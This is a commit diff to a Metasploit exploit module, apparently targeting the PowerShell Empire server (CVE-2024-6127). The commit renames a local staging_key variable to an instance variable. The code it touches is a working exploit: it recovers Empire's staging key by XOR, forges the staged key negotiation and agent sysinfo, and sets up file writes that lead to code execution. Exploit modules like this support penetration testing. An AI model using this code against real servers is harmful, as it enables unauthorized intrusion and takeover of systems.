Change all instance of staging_key to @staging_key

Author: Takahiro-Yoko

modules/exploits/linux/http/empire_skywalker.rb

@@ -99,7 +99,8 @@ def initialize(info = {})
   end
 
   def check
-    return Exploit::CheckCode::Safe if get_staging_key.nil?
+    @staging_key = get_staging_key
+    return Exploit::CheckCode::Safe if @staging_key.nil?
 
     Exploit::CheckCode::Appears
   end
@@ -178,24 +179,24 @@ def get_staging_key
     })
     return unless res && res.code == 200
 
-    staging_key = Array.new(32, nil)
+    @staging_key = Array.new(32, nil)
     staging_data = res.body.bytes
 
     reversal_key.each_with_index do |(pos, char_code), key_pos|
-      staging_key[key_pos] = staging_data[pos] ^ char_code
+      @staging_key[key_pos] = staging_data[pos] ^ char_code
     end
 
-    return if staging_key.include? nil
+    return if @staging_key.include? nil
 
     # at this point the staging key should have been fully recovered but
     # we'll verify it by attempting to decrypt the header of the stage
     decrypted = []
     staging_data[0..23].each_with_index do |byte, pos|
-      decrypted << (byte ^ staging_key[pos])
+      decrypted << (byte ^ @staging_key[pos])
     end
     return unless decrypted.pack('C*').downcase == 'function start-negotiate'
 
-    staging_key
+    @staging_key
   end
 
   def write_file(path, data, session_id, session_key, opts)
@@ -247,20 +248,20 @@ def cron_file(command)
 
   def exploit
     vprint_status('Recovering the staging key...')
-    staging_key = get_staging_key
-    if staging_key.nil?
+    @staging_key ||= get_staging_key
+    if @staging_key.nil?
       fail_with(Failure::Unknown, 'Failed to recover the staging key')
     end
-    vprint_good("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
-    staging_key = staging_key.pack('C*')
+    vprint_good("Successfully recovered the staging key: #{@staging_key.map { |b| b.to_s(16) }.join(':')}")
+    @staging_key = @staging_key.pack('C*')
 
     case datastore['CVE']
     when 'CVE-2024-6127'
       # stage0
       # This stage is unnecessary for our purposes.
       session_id = SecureRandom.alphanumeric(8).upcase
       dummy = SecureRandom.alphanumeric(8)
-      send_data_to_stage(staging_key, dummy, staging_key, STAGE0, session_id)
+      send_data_to_stage(@staging_key, dummy, @staging_key, STAGE0, session_id)
 
       # stage1
       dh = OpenSSL::PKey::DH.new(
@@ -276,12 +277,12 @@ def exploit
       end
       private_key = dh.priv_key.to_i
       public_key = dh.pub_key.to_s
-      res = send_data_to_stage(staging_key, public_key, staging_key, STAGE1, session_id)
+      res = send_data_to_stage(@staging_key, public_key, @staging_key, STAGE1, session_id)
       fail_with(Failure::Unknown, 'Failed to send the key to STAGE1') unless res && res.code == 200
       vprint_good('Successfully sent the key to STAGE1')
 
       # decrypt the response and pull out the epoch and session_key
-      packet = aes_decrypt(staging_key, res.body)
+      packet = aes_decrypt(@staging_key, res.body)
       nonce = packet[..15].to_i
       server_pub = packet[16..].to_i
       shared_secret = server_pub.pow(private_key, PRIME)
@@ -298,11 +299,11 @@ def exploit
 
       # stage2
       sysinfo = "#{nonce + 1}|#{datastore['RHOSTS']}:#{datastore['RPORT']}||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64".encode('UTF-8')
-      res = send_data_to_stage(session_key, sysinfo, staging_key, STAGE2, session_id)
+      res = send_data_to_stage(session_key, sysinfo, @staging_key, STAGE2, session_id)
       fail_with(Failure::Unknown, 'Failed to communicate with STAGE2') unless res && res.code == 200
       aes_decrypt(session_key, res.body)
 
-      opts = { staging_key: staging_key }
+      opts = { staging_key: @staging_key }
       log_path = "/var/lib/powershell-empire/empire/server/downloads/#{session_id}/agent.log"
 
     else
@@ -313,7 +314,7 @@ def exploit
       # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
       res = send_request_cgi({
         'cookie' => "SESSIONID=#{session_id}",
-        'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
+        'data' => aes_encrypt(@staging_key, rsa_key_to_xml(rsa_key)),
         'method' => 'POST',
         'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
       })